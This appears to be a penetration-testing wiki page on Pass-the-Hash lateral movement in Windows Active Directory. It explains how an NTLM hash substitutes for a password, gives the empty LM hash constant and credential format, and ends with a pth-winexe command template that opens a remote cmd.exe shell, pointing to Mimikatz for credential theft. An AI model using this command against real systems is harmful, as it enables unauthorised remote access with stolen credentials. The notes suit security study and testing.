Wiki : ./Security/Windows/AD/Lateral Movement/Pass-The-Hash.md

PtH was discovered back in 1997 and allows an attacker to authenticate to a remote target by using a valid combination of username and NTLM/LM hash rather than a clear password.

  • This only works for domain accounts and the built-in local administrator account. Since the 2014 update this no longer works for other local admin accounts.

Requirements

  • NTLM/LM hashes
  • LM hash is not needed since Windows Vista+ has no use for it anymore
    • Use aad3b435b51404eeaad3b435b51404ee for the LM part
  • Format: [User]%aad3b435b51404eeaad3b435b51404ee:[NTLM]

pth-winexe

  • See [[Mimikatz]] to export credentials from target system
pth-winexe -U [USERNAME]%[LM]:[NTLM] //10.0.0.10 cmd.exe
i4